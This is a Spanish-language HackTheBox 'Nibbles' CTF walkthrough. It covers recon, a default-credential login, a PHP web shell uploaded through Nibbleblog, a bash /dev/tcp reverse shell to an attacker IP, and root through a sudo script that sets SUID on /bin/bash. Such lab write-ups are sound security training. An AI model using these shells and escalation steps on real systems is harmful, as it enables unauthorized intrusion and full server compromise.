> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md). # Resolución de HackTheBox Nibbles {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Abusando de Nibbleblog - Ejecución remota de código mediante carga de archivos * Abusando del privilegio de sudoers (escalada de privilegios) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.75 -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (22.80)

Escaneo de versiones de puertos con Nmap: Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p22,80 10.10.10.75 -oN targeted ```

### Puerto 80 - HTTP

Al inspeccionar el código fuente de la página web, notamos la presencia de una `/nibbleblog` directorio.

### Blog de Nibbles - CMS

El sitio parece ser un CMS llamado Nibbleblog. Usaremos `gobuster` para buscar directorios adicionales: ```bash gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

#### Búsqueda de archivos PHP: Al buscar archivos PHP encontramos un `admin.php` archivo que parece corresponder a un panel de administración.

#### Intentando iniciar sesión con credenciales: Estamos intentando conectarnos con las siguientes credenciales: * **Usuario**: admin * **Contraseña**: nibbles

Funciona y accedemos a la interfaz de administración.

## Vulnerabilidad Nibbleblog - Carga de archivos Descubrimos una funcionalidad que permite descargar imágenes:

Crearemos un `cmd.php` archivo con el siguiente código para permitir la ejecución de comandos ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` El archivo se descargará en el `contenido` directorio, donde encontramos un `privado` subdirectorio que contiene complementos.

#### Ejecución de comandos mediante carga de archivos: Gracias al `cmd` parámetro podemos ejecutar comandos. Por ejemplo, usamos la siguiente URL para obtener la información del ID del sistema:

/image.php?cmd=id

Obtenemos acceso al servidor mediante una reverse shell. Escuchamos en nuestra máquina en el puerto 443: ```bash nc -nlvp 443 ``` Luego, ejecutamos la reverse shell en la máquina objetivo: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261" ```

#### Estabilización de terminal : En la terminal, realizamos los siguientes pasos para estabilizar la sesión: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Bandera user.txt :)

## Escalada de privilegios : ### Sudo - monitor.sh (no such file) Descubrimos una vulnerabilidad relacionada con la ejecución de scripts con privilegios de sudo.

El `monitor.sh` el archivo parece no encontrarse en ninguna parte, pero podemos crear un script que se ejecutará como root. Comenzamos creando los directorios necesarios: ```bash cd /home/nibbler mkdir personal cd !$ mkdir stuff cd !$ ``` Colocamos el `monitor.sh` archivo allí con el siguiente contenido: ```bash chmod u+s /bin/bash ``` Luego ejecutamos el script con privilegios de sudo: ```bash sudo /home/nibbler/personal/stuff/monitor.sh ``` Esto te permite modificar los permisos de `/bin/bash` añadiendo el bit SUID. Luego ejecutamos el siguiente comando para obtener una shell con privilegios de root: ```bash bash -p ```

### Bandera root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.